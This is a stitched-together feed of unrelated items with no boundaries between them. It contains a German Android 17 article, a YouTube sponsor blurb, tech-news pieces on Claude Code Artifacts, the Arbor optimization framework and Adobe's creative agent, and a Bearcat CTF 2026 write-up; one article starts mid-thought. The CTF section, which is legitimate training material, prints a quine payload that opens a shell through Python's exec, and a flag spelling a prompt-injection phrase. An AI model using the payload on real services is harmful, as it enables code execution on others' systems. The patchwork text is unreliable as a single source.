In einer „kompakten Folgen“ sprechen Marco und Fabian über die kommenden iPhones Air 2 und XX, Italiens Untersuchungen zum nächsten DMA-Problem und Tim Cooks Ankündigung ... Weiterlesen ...

Der Beitrag iPhone Air 2 und XX | DMA-Dilemma | W Social – Apfelplausch #449 erschien zuerst auf Apfelpage.

If you want to be a successful content creator, take notes. These are the best Mac setups for streamers and content creators.

(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)

Nach langer Wartezeit ist es endlich so weit: Google hat offiziell den Startschuss für Android 17 gegeben und die erste finale Version des neuen Betriebssystems veröffentlicht. Zuvor war nur bekannt, dass die Veröffentlichung irgendwann im Juni erfolgen könnte.

Wie immer erhalten Pixel-Smartphones wie das Google Pixel 10 zuerst Zugang zur neuen Android-Version. Es dürfte aber nicht lange dauern, bis weitere Hersteller wie Samsung oder Xiaomi das Update für ihre Nutzer anpassen und freigeben. Welche Smartphones das Update bekommen, lesen Sie hier.

Das steckt alles in Android 17

Google selbst hat einige Neuerungen von Android 17 (Projektname “Cinnamon Bun”) vorgestellt. Unter anderem gibt es sogenannte App-Bubbles, die Multitasking ermöglichen. Durch diese kann so gut wie jede Anwendung in ein kleineres, schwebendes Fenster verschoben werden. Sie können dann nicht nur zwischen zwei, sondern bis zu fünf Anwendungen nahtlos hin- und herwechseln. Auf Foldables erscheinen die Bubbles in einer speziellen Leiste am unteren Bildschirmrand.

Auch neu sind die Real-time-reactions. Damit ist es möglich, während der Aufzeichnung eines Videos gleichzeitig die Frontkamera zu nutzen, um das eigene Gesicht und die Reaktion aufzunehmen. Besonders für Creator und Social-Media-Fans könnte das nützlich sein, etwa um auf Kommentare oder Artikel zu reagieren.

Auf Knopfdruck sollen Nutzer außerdem festlegen können, welche App wie lange ihren Standort teilen darf. Passend dazu zeigen Android-Geräte bald auch einen blauen Punkt an, während der Standort aktiv geteilt wird. Das soll das Risiko unerlaubter Zugriffe verringern.

Für Gaming-Fans gibt es auch etwas Neues, zumindest auf Foldables: Ein neuer Gaming-Modus erlaubt es, das Gerät halb aufgeklappt zu nutzen, sodass die obere Displayhälfte das Spiel anzeigt. Der Rest verwandelt sich in ein Gamepad, damit präzise Eingaben möglich werden. Das sieht dann im Grunde aus wie ein Nintendo DS.

Daneben verbessert Android 17 natürlich auch die Sicherheit. Eine neue Funktion erlaubt es etwa, Geräte als verloren zu markieren, damit diese nicht mehr entsperrt werden können. Daten aus der Google Wallet werden automatisch gelöscht und der Zugriff auf persönliche Daten und Einstellungen wird gesperrt.

Aufgrund der vergangenen Beta-Phasen von Android 17 wissen wir, dass in Zukunft noch deutlich mehr auf uns zukommen wird. Mehr zu den neuen Funktionen können Sie in diesen Meldungen nachlesen:

• Android 17 bringt endlich eine Funktion, auf die Nutzer seit Jahren warten
• Android 17 bekommt mit Continue On eine geniale Neuerung, die Apple schon lange drauf hat
• Google räumt auf: Android 17 bringt neue Bedienung
• Google optimiert Android 17 für Instagram und Youtube
• Wichtiges Android-Update: Diese neue Backup-Funktion schützt jetzt Ihre Downloads
• Geniale Schutz-Techniken von Google machen Android jetzt deutlich sicherer

So bekommen Sie Android 17

Wie eingangs erwähnt erhalten aktuelle Google-Pixel-Smartphones zuerst das Update auf Android 17. Wenn Sie ein solches besitzen, prüfen Sie am besten unter System > Software-Update > System-Update, ob eine neue Version verfügbar ist.

Geräte anderer Hersteller werden in den kommenden Monaten mit Android 17 versorgt. Je nachdem, wie schnell das vorangeht, erhalten Sie dann auch neue Funktionen. Doch Vorsicht: Ältere Geräte, die keine Android-Updates mehr erhalten, gehen leer aus! Diese Liste sagt ihnen, welche Smartphones das Update nicht mehr bekommen.

Geheimes Easter Egg in Android 16 und 17 – so aktivieren Sie es

Get 17% off Prime Day Promotion on PLAUD products and use code: COLDFUSION.
Official Website: https://bit.ly/4gqyWI3
Amazon: https://amzn.to/4uIVYgT
#plaud

Watch or listen to ColdFusion on Spotify: https://open.spotify.com/show/1YEwCKoRz8fEDqheXB6UJ1


ColdFusion Music:

https://www.youtube.com/@coldfusionmusic
http://burnwater.bandcamp.com

ColdFusion Socials:

https://discord.gg/coldfusion
https://facebook.com/ColdFusionTV
https://twitter.com/ColdFusion_TV
https://instagram.com/coldfusiontv

Created by: Dagogo Altraide
Producers: Tawsif Akkas, Dagogo Altraide

This update turns a Claude Code session's work into a live, interactive, and shareable, custom HTML webpage, allowing a Claude Code user to plug in live code, multiple data sources, and have it surface on an interactive URL that they can send to other teammates — be it a dashboard, an app design, or some other product meant for internal usage.

These teammates and the original user can watch the webpage it update in real-time as Claude Code goes about its work autonomously or under the user's guidance, and as the connected data sources and codebases change.

While Anthropic first introduced Artifacts to its consumer web chatbot in the summer of 2024—where it evolved from a manual toggle feature to a generally available tool for publishing code snippets and games to the web—integrating this capability directly into the Claude Code command-line interface (CLI) and desktop app bridges the gap between deep, back-end engineering and the non-technical stakeholders who need to understand it.

Product and Technology: The End of the Status Update

At its core, Claude Code Artifacts acts as a dynamic translation layer. Built directly from the unbroken context of a user’s session, the agent uses the local repository codebase, connected monitoring tools, and conversational reasoning to spin up specialized web pages.

Engineers no longer need to wire up external data sources or stand up temporary infrastructure; the AI builds the UI from what already exists.

Crucially, these web pages are not static exports. As the AI works through a terminal session, the open webpage refreshes in-place, updating charts and text instantly at the exact same URL. Every update publishes a new version history, allowing teammates to roll back or track the agent's progress securely on desktop or mobile.

The Battle of Live, Interactive, Shared AI Work Surfaces: Anthropic's Claude Code Artifacts vs. OpenAI's Codex Sites

Anthropic's update comes more than two weeks after OpenAI released a massive update to its own Codex platform, introducing a strikingly similar enterprise hosting feature called "Sites".

This tit-for-tat product cadence highlights a rapidly escalating battle over the enterprise workspace across functions and beyond developers themselves, though there are some important technical and philosophical distinctions worth pointing out for enterprises considering either.

As revealed in their respective developer documentation webpages, OpenAI is building a platform-as-a-service; Anthropic is building a stateless canvas.

OpenAI’s Sites is designed to generate durable, full-stack web applications. According to the platform's documentation, Codex Sites hosts projects that output as Cloudflare Worker-compatible ES modules.

Crucially, Sites supports persistent backend infrastructure: agents can automatically wire up "D1" relational databases for structured data (like user progress or saved records) and "R2" object storage for file uploads. An OpenAI Site can support public sign-ins, integrate with external identity providers, and allows for highly specific access controls tailored to specific workspace groups.

It utilizes a two-stage publishing process—saving a reviewable candidate linked to a Git commit before officially deploying to production. In short, it is a production environment designed to replace functional internal SaaS tools.

Anthropic’s Claude Code Artifacts, by contrast, deliberately avoids the backend. The newly released documentation is blunt about its limitations: "An artifact is a capture of work, not an application".

Each Artifact is a single, self-contained HTML page capped at a rendered size of 16 MiB. To guarantee organizational security, Claude wraps the published file in a strict Content Security Policy (CSP) that blocks all external network requests. T

his means the page cannot load external scripts, fonts, or stylesheets, and fetch, XHR, and WebSocket calls are completely blocked. All CSS and JavaScript must be inlined, and images must be embedded as data URIs. Artifacts cannot store form input, call an API at view time, or serve multiple routes.

This technical limitation is actually Anthropic's deliberate philosophical position: While OpenAI wants to spin up persistent software portals for the whole company, Anthropic is keeping Claude Code firmly anchored in ephemeral, highly secure technical workflows. Claude Artifacts are not meant to be software; they are meant to replace whiteboard diagrams, manual bug walkthroughs, and status reports with secure, self-updating visual tools that never leak live data outside the corporate boundary.

Licensing and Enterprise Security: Keeping the Codebase Private

Because these agents sit at the nexus of proprietary company data and live codebases, licensing and access controls are a primary concern.

Both Anthropic and OpenAI have opted for closed, proprietary licensing models for these new visual workspaces. For end users and developers, the distinction is critical. Unlike permissive open-source software (such as MIT or Apache 2.0) or strict copyleft licenses (like GPL)—which grant developers the legal freedom to inspect, modify, and self-host the underlying code—neither Claude Code Artifacts nor Codex Sites can be independently forked or hosted.

Enterprise clients do not maintain code-level ownership over Anthropic's rendering engine or Codex’s integration nodes; both operate strictly within their respective creators' managed infrastructures.

To make this vendor-managed approach palatable to enterprise compliance teams, both companies have heavily prioritized organizational security. Anthropic ensures every artifact is private to its author by default and strictly cannot be made public to the broader internet. When an engineer chooses to share a link, it is viewable exclusively by authenticated members of their specific organization. System administrators retain ultimate authority, managing access through org-level toggles, role-based scoping, and explicit retention policies, while maintaining oversight through a centralized compliance API.

OpenAI takes a similarly gated approach with Codex Sites, rolling the feature out primarily for ChatGPT Business and Enterprise workspaces. Like Anthropic, OpenAI relies on system administrators to manage deployment through centralized workspace settings, requiring an admin to explicitly enable Sites via role-based access control (RBAC) for Enterprise tiers.

However, because Codex Sites functions more like a hosted web application, its access controls are slightly more granular. When an engineer prepares to share a deployed URL, they can apply specific access modes: restricting the site to just themselves and workspace admins, opening it to all active users in the workspace, or limiting access to custom user groups.

Furthermore, to prevent sensitive data leaks, OpenAI provides a dedicated Sites panel to manage runtime environment variables and secrets securely, ensuring those keys do not have to be committed to local source files.

Reactions and Reflections

The introduction of visual, self-updating UI layers to command-line agents is fundamentally altering how developers view their own workflows. As AI handles the raw syntax and automates the reporting, the friction of communicating technical work to stakeholders is vanishing.

Boris Cherny, the Lead and creator of Claude Code, highlighted the sheer utility of the update in a post on X earlier today:

"I've been using Artifacts in Claude Code for everything: visual explanations of tricky code, system diagrams, quick previews of a few animation options, data analyses and dashboards I share with the team," Cherny wrote. "They are a game changer for how I work with Claude. Can't wait to hear what you think!"

This sentiment is practically demonstrated in Anthropic’s launch materials. In one scenario, an engineer prompts Claude Code to investigate user drop-offs since a previous software release.

In a matter of seconds, the agent executes an SQL read, builds an interactive drop-off funnel dashboard, and diagnoses that "Pro accounts stall at the export sheet". The AI then proposes UI fixes, updates the live charts as the code is refactored, and generates a secure link that a manager can instantly open via mobile.

By turning the terminal into a live, collaborative canvas, Anthropic is proving that the most valuable output of an AI coding assistant isn't just the code itself—it is the context, the reasoning, and the ability to share that work instantly.

To address this challenge, researchers at Renmin University of China and Microsoft Research introduced Arbor, a framework that upgrades AI-driven research and optimization from a sequence of trial-and-error guesses into a cumulative learning process. Arbor organizes hypotheses, experiments, and insights into a tree that helps the system learn from prior failures to make smarter, verified improvements over time.

In practical tests, Arbor delivered more than 2.5 times the verifiable performance gains of standard AI coding agents across real-world engineering tasks while operating under the same resource budget. 

For enterprise AI, this technique directly translates to automating the continuous improvement of complex, real-world engineering systems.

Understanding the bottleneck in autonomous optimization

As large language models and AI systems become more capable, they are expected to carry out more complex operations such as autonomous optimization (AO) of software systems such as agent harnesses or model training algorithms. 

AO captures the fundamental loop of autonomous research. An AI agent starts with an initial mutable artifact, such as a machine learning codebase or data pipeline, and a specific objective. The agent's goal is to iteratively improve this artifact through experimental feedback without step-by-step human supervision.

The main challenge of AO is often misunderstood. Many engineering teams find that simply giving a coding agent more time or compute to optimize a codebase doesn't lead to better results. "Automation can keep an AI working for a very long time — but a loop is not the same as progress," Jiajie Jin, co-author of the paper, told VentureBeat. "If the goal is vague, or the metric is easy to hack, long-running automation often just produces 'improvements' faster that nobody actually wants."

Jin explains that complex tasks take many attempts to get right, and standard agent architectures are missing the critical data structure to maintain state. "How do you make sure the insight and experience from each attempt actually accumulate, instead of getting lost in a scrollback buffer?" he said. Without this structure, agents simply repeat the same mistakes.

Current agent systems can run experiments for many hours against well-specified goals: editing code, invoking tools, running tests autonomously. But they treat each attempt in isolation, missing the structural mechanisms that would let them accumulate and act on what they've learned.

They lack the capacity to simultaneously maintain and compare multiple competing research directions. Without this, they cannot interpret both successes and failures to reshape their future exploration, which is the core mechanism that makes human research cumulative.

General coding agents typically rely on conversation transcripts for their memory. Because AO tasks span hundreds of turns and easily exceed context window limits, these agents struggle to preserve and reuse factual evidence over long histories. As a result, they lose the overarching structure of the research process and are prone to stalling on early failures or chasing noisy evaluation swings. The system needs a structured, durable memory that records what directions have been tried, what factual evidence was produced, and how each result changes the space of future hypotheses.

Existing frameworks are also prone to reward hacking and overfitting to development metrics. This makes them create the illusion of progress without producing improvements that transfer to real-world performance.

Finally, general-purpose coding agents typically chain their tool calls on a single shared working tree. This architectural limitation prevents them from testing parallel hypotheses in isolated environments without corrupting the main codebase or obscuring which hypothesis caused a specific outcome.

The Arbor framework

Arbor solves the challenges of AO with a framework that automates the long-horizon loop of exploration, experimentation, and abstraction that characterizes human research. Arbor separates the strategic direction of research from the ground-level coding tasks with two key components:

The coordinator: A long-lived AI agent that acts like a principal investigator. It never directly edits the target codebase. Instead, it owns the general state of the optimization research, observes accumulated evidence, comes up with new hypotheses and directions to explore, and decides what to do with the results of experiments.

Executors: Short-lived, highly focused AI agents. When the coordinator wants to test an idea, it spins up an executor and places it in an isolated environment, essentially a fresh git worktree. Each executor is handed one hypothesis. It implements the assigned idea, runs evaluations, debugs errors, and reports back to the coordinator with the results and created artifacts.

These two components collaborate through a mechanism that the researchers call “Hypothesis Tree Refinement” (HTR). HTR represents the entire research process as a persistent, branching tree where every node binds together four things: a hypothesis, the executable artifact, the factual evidence produced, and a distilled insight. This means the coordinator can explore multiple competing directions at the same time without losing its place.

The coordinator builds the tree by placing broad ideas near the root, while concrete refinements branch out as leaves. This allows Arbor to safely explore multiple competing hypotheses simultaneously. If an executor's experiment fails, the tree records why it failed as a negative constraint, ensuring the system doesn't endlessly repeat the same mistake.

To understand why Arbor's isolation matters, consider a common enterprise scenario: optimizing a Retrieval-Augmented Generation (RAG) pipeline for an internal AI assistant. "When you ask a single agent like Claude Code or Codex to 'improve accuracy,' it will typically change a bunch of things in one pass — chunking, the prompt, the retrieval method," Jin said. This entangles the changes, making it impossible to attribute which one actually helped. It also directly mutates the repository without isolation. 

Arbor solves this by treating each lever as a separate hypothesis. Chunking becomes one branch, retrieval another, and the prompt another — each implemented and evaluated in its own isolated git worktree. "So you get clean attribution: 'constraint decomposition on the retrieval side gave +X; breadth-first search actually hurt,'" Jin said.

When an executor returns a report, the coordinator writes the evidence to the tree and backpropagates the insight upward to parent nodes. This means a local observation becomes a generalized constraint that shapes the coordinator's future idea generation.

To prevent reward hacking or overfitting to the development data, HTR enforces a strict “merge gate.” Even if an executor reports a fantastic development score, the coordinator will spin up an isolated worktree to test the candidate against a held-out test evaluator. The artifact is only merged into the current best trunk if it demonstrably improves the test score, verifying that the progress is real.

Arbor generally falls under the concept of "loop engineering," popularized by industry figures like OpenClaw creator Peter Steinberger and Claude Code lead Boris Cherny. The idea is to move beyond single prompts to design iterative cycles (observe, reason, act, verify) that drive autonomous agents. However, as Jin points out, "A loop can fill up with messy, untraceable attempts, and you end up with nothing to show and no way to reconstruct what changed."

Arbor in action

The researchers evaluated Arbor on an autonomous optimization task suite built from real-world research settings and the MLE-Bench Lite machine learning engineering benchmark. The AO suite featured tasks from different areas of AI development, including model training, harness engineering, and data synthesis.

The researchers used different backbone models for the coordinator and executor agents, including Claude Opus 4.6, GPT-5.5, and Gemini-3-Flash. They tested Arbor against the strongest coding agents, Codex and Claude Code. Arbor and the baselines were given the same resources. For the MLE-Bench Lite tasks, Arbor was also compared against top-tier agentic research systems like AI-Scientist, ML-Master, and AIDE.

Arbor consistently outperformed the baselines. It achieved the best held-out test result on all tasks, attaining more than 2.5 times the average relative gain of Codex and Claude Code. On the BrowseComp task, which involves optimizing a search agent, Arbor improved the system's held-out accuracy from a baseline of 45.33% to 67.67%. Meanwhile, Codex and Claude Code stalled at 50% and 53.33%, respectively. On MLE-Bench Lite, when equipped with GPT-5.5, Arbor achieved the strongest result among all benchmarked systems.

Arbor proved to be resilient against overfitting. For example, during the Terminal-Bench 2.0 task experiments, Claude Code achieved a high development score of 75 but its score dropped to 71 on the held-out data. Arbor had a lower development score of 72.22 but achieved the highest held-out score of 77.36, ensuring its results transfer to real-world applications.

Arbor also showed generalization in a cross-task transfer experiment. After Arbor finished optimizing the search harness for the BrowseComp task, researchers took the optimized codebase and tested it on two unrelated search-agent tasks, HLE and DeepSearchQA. Arbor's optimized codebase significantly improved performance on those unseen tasks as well.

Deploying Arbor: Sweet spots and hidden costs

For engineering leads looking to drop Arbor into their existing tech stack, the framework is designed to sit on top of existing Git workflows rather than replacing them. "Its output is an ordinary git branch that your existing code review, CI, and human review can inspect directly," Jin said. Only verified gains are merged into a per-run trunk, leaving the main repository untouched until a developer manually chooses to promote the code.

However, deploying Arbor comes with specific tradeoffs. Jin points out that the biggest catch is token cost, as maintaining a long-lived coordinator that continuously manages the tree and dispatches executors is the dominant expense. Running multiple isolated worktrees concurrently also requires genuine compute and disk resources to process real experiments.

So where is Arbor's sweet spot? According to Jin, it excels at tasks with a clear, trustworthy metric, tolerance for a long time horizon, and a real search space with several plausible directions, such as pipeline optimization, data-synthesis quality, and model-training recipe tuning. 

Conversely, teams should explicitly avoid using Arbor for real-time latency tasks, obvious one-line fixes, or when the underlying evaluation metric is flawed. The quality ceiling of the entire run is strictly bounded by the quality of the evaluator. "If the metric isn't trustworthy, Arbor will just optimize toward an untrustworthy result faster," Jin said.

Jin sees the next evolution going beyond single scalar metrics. "A natural evolution is to have each node's artifact carry a vector — accuracy, latency, cost — instead of a single score," Jin said. "Going from a single scalar to a multi-objective Pareto search is a very natural extension of the framework."

Available in public beta starting today across Premiere Pro, Photoshop, Illustrator, InDesign, and Frame.io, the agent is designed to serve everyone from individual creators to enterprise marketing teams.

Unlike first-generation generative AI tools that simply output flat media from a chat interface, Adobe’s embedded assistant acts as an orchestration layer.

It interprets natural language prompts and directly accesses the underlying software's APIs to execute complex, multi-step production workflows—from batch-renaming video sequences to dynamically updating brand assets across print layouts—while leaving the final aesthetic decisions entirely in the hands of the human designer.

Technology: Contextual Memory and DOM Manipulation

At the core of this release is a significant technical upgrade to how Adobe's AI handles persistent memory and context window management. In its upgraded Firefly creative AI studio—currently in private beta—Adobe has introduced two foundational architectural components: "Elements" and "Projects".

• Elements functions as a visual variables library, allowing users to save and reuse specific characters, locations, and objects across multiple generations to ensure strict visual consistency as campaigns scale.

• Projects acts as the contextual memory layer, storing assets, generations, and session history in a unified space so users can pick up where they left off without rebuilding their prompt context.

Beyond pixel generation, the system's most critical technological leap is its ability to operate seamlessly within the complex document structures of desktop applications. "Our Adobe Creative Agent can leverage the decades of powerful features, workflows, APIs that we've brought into our application and exposed through tooling that can now be invoked through a creative agent," an Adobe representative explained.

Product: Automating the Tedious, Expanding the Canvas

The practical application of this technology fundamentally alters standard production workflows. Adobe is positioning the human user as a "creative director" capable of delegating repetitive, labor-intensive tasks to the AI. The rollout introduces highly specific specialist agents tailored to the logic of each application:

• Premiere Pro: The agent handles tedious project setup, analyzing and sorting source media into bins, batch renaming clips, identifying interview questions, and assembling a rough working starting point.

• Illustrator: The assistant automates mathematical and multi-step design tasks, such as generating 50 versioned files from a spreadsheet or running pre-flight checks to flag color mode errors before printing. It can even programmatically duplicate a vector shape 100 times, randomize its position, and change its size based on its z-depth and transparency.

• Photoshop & InDesign: The agent executes batch background removals, dynamic layer organization, and applies brand updates across multi-page layouts.

Furthermore, Adobe is actively integrating its creative agent into major third-party enterprise platforms, including OpenAI's ChatGPT, Anthropic's Claude, Microsoft 365 Copilot, and soon, Google Gemini and Slack.

Licensing: Commercial SaaS and Enterprise Implications

Unlike open-source orchestration frameworks or models released under MIT or Apache licenses, Adobe's creative agent operates strictly within a proprietary, commercial SaaS ecosystem. For enterprise decision-makers, this carries specific implications. Because the agent relies on Adobe's proprietary APIs to manipulate project files, it requires an active Creative Cloud commercial license. Additionally, by bringing the "Adobe for creativity connector" to platforms like Slack and Microsoft Copilot , enterprise IT and systems architects must consider how internal chat tools will interface with Adobe's cloud processing environments to support enterprise creative and marketing teams securely.

The Enterprise Unknowns: APIs, Governance, and Architecture

While Adobe’s announcements highlight a powerful user interface and deep integration within its own flagship applications, several critical questions remain for enterprise technical decision-makers tasked with building bespoke AI systems. VentureBeat has reached out to Adobe for clarification on these infrastructure-level details and will update this coverage as we learn more.

For AI system architects, the value of a creative agent lies not just in a native application UI, but in its extensibility. It remains unclear if Adobe plans to expose these new agentic capabilities via API, or if the company will support the Model Context Protocol (MCP). Without MCP support or direct API access, enterprise teams will face friction integrating Adobe's tools into their own custom task-routing frameworks and internal LLM pipelines.

Adobe’s new "Elements" feature promises to solve the generative AI consistency problem by anchoring characters and objects across generations.

However, the backend architecture driving this persistent memory is not yet detailed. Whether Adobe is leveraging on-the-fly Low-Rank Adaptation (LoRA) based on user uploads or utilizing a form of visual Retrieval-Augmented Generation (RAG) is a critical distinction for technology leaders managing compute costs, model evaluations, and enterprise-grade inference pipelines.

As organizations build out "Projects" and define brand-specific "Elements", security and data decision-makers require strict guarantees regarding data provenance and storage. It is currently unknown exactly where this contextual workflow and vector data lives—specifically, whether it remains strictly sandboxed within the customer's enterprise Creative Cloud instance on Adobe servers, and how role-based permissions apply to these new agentic workflows.

Finally, as lightning-fast, developer-first, multi-model AI creative platforms like fal.ai gain significant traction among enterprises and developers, Adobe’s position in the broader developer ecosystem remains a point of interest.

Whether Adobe views these infrastructure-level API providers as direct competitors to its Firefly AI studio or as potential integration points for bespoke enterprise environments has yet to be seen.

Community Reactions: The Tension Between Automation and Craft

The integration of agentic AI touches on the tension between eliminating drudgery and surrendering creative control. According to Adobe's recent Creators' Toolkit Report, which surveyed over 16,000 creators globally, the market is highly receptive to AI as an operational assistant rather than an autonomous creator.

• 75 percent of surveyed creators describe creative AI as integrated or essential to their current workflows.

• 85 percent emphasized that the final creative decision must always remain in human hands.

This sentiment is central to Adobe's messaging. By focusing the agent's capabilities on file organization, layer management, and brand compliance, Adobe aims to automate what a spokesperson called the "tedious parts of their workflow". The goal, according to Adobe executive David Wadhwani, is to let creatives focus on the craft so they can "apply their taste and make the calls that only they can".

#1.RIVER RAIDER (OSINT)

For this challenge, we were given a picture of a rogue pirate ship sailing through a river, and we needed to find the name of the bridge right behind it.

I didn’t recognize the bridge off the top of my head, so my first step was to just crop the image a bit and run it through Microsoft Bing’s reverse image search to see if it could identify the landmark.

Bing quickly matched the distinct stone towers and cables of the bridge to a location in Cincinnati, Ohio.

Just to be absolutely sure and to get the proper name of the area, I went over to Google Maps. I looked at the river running through Cincinnati and checked the bridges to match the exact shape and location.

Google Maps confirmed the bridge was the John A. Roebling Suspension Bridge.

When submitting the flag, it took a couple of tries to get the exact phrasing the challenge creator wanted (they ended up leaving out the word “Suspension”), but we finally got the points!

Flag: BCCTF{John A. Roebling Bridge}

#2.Operation Buccaneer (OSINT)

Step 1: Researching the Operation

I started by searching for “Operation Buccaneer” and “DrinkOrDie.” These searches led to several Department of Justice (DOJ) archives. The challenge mentioned a specific member who was indicted after most of the other convictions and who ran a “high-traffic server.”

Most of the initial DrinkOrDie members were caught in 2001. However, looking through later news reports from 2003, I found a man named Kirk Patrick St. John (online alias “thesaint”).

Step 2: Finding the Server Name

According to the official DOJ press release, St. John didn’t just participate; he provided a massive storage hub for the group. In the world of “Warez” (pirated software), these were often called “candy stores.”

The press release explicitly named his server: Godcomplex.

Step 3: Flag Formation

The challenge asked for the server name in a specific format. By taking the unique name found in the legal documents and placing it inside the flag bracket, I got the final answer.

Flag: BCCTF{GodComplex}

#3.Poem About Pirates (Forensics)

Challenge Overview

We were provided a .zip archive containing several text files, all featuring poems about pirates. The objective was to extract a hidden flag from the archive.

Initial Analysis & The Rabbit Hole

Running basic string analysis on the extracted text files revealed an intentional acrostic in acrostic.txt that spelled out the word JOLLYROGER. While this initially looked like a promising passphrase for whitespace steganography tools, the high solve rate of the challenge suggested a simpler intended path. The poetry was a distractor.

Finding the Attack Surface

Taking a step back from analyzing the text contents, a standard directory enumeration revealed the true nature of the challenge.

The presence of a hidden .git folder immediately pivoted the challenge from text steganography to version control forensics. The flag was hidden somewhere within the repository's history.

Git Forensics & The Solution

Reviewing the active commit history via git log -p showed a completely clean main branch. The author had simply added the poem files one by one, with no suspicious deletions or base64 strings in the diffs. Furthermore, checking git branch -a confirmed there were no hidden branches.

Since the active timeline was clean, the flag had to be hiding in an orphaned (dangling) commit or a stash — likely added and then scrubbed using git reset --hard.

git log — all — reflog -p | grep -i “ctf{“

By searching the hidden, unreferenced Git history, the flag was successfully carved out of the dangling commit.

FINAL FLAG : BCCTF{1gN0r3_4ll_PreV1OU5_1n57Ruc7iOns}

#4. Prolly the Parrot (Misc)/Steg

1. Initial Inspection: The provided file was prolly_the_parrot.wav. Listening to the audio revealed distorted, screeching bird sounds that didn't form coherent speech.
2. Visualizing the Sound: Since the audio sounded like “noise,” I suspected the flag was hidden visually. I opened the file in Audacity to inspect the Spectrogram.Action: Clicked the track dropdown menu and selected Spectrogram.

1. Finding the Flag: Immediately, the flag appeared drawn into the frequency waves of the audio.

Final Flag

The code hidden in the frequencies was:

BCCTF{CrAk3rs_P3lZ}

#5. The Boy is Quine

Category: Misc / PyJail

The main.py script checks if our input is a valid quine by testing it in an isolated subprocess (is_quine). If it passes, the main script dangerously executes our code directly using exec(code).

If we send a standard shell payload, the subprocess test will hang and fail. We need a payload that acts like a normal quine during the test, but pops a shell during the exec().

The Payload

We use a conditional polyglot quine that checks its environment using globals():

s=’s=%r;import os;os.system(“sh”) if “is_quine” in globals() else 0;print(s%%s,end=””)’;import os;os.system(“sh”) if “is_quine” in globals() else 0;print(s%s,end=””)

FINAL FLAG : BCCTF{1t5_mY_t1m3_t0_sh1n3}

#6.BOARDING OF BLACK PEARL (FORENSICS/MISC)

attached file : .pcap file

step 1

opened the pcap file in wireshark and then applied the filter http

base64 string visible

echo”bluhbluh” | base64 -d to get the flag

FINAL FLAG : BCCTF{b1@ckp3@r1_10$t_1t$_tr3@$ur3}

BEARCAT CTF 2026 WRITEUPS was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.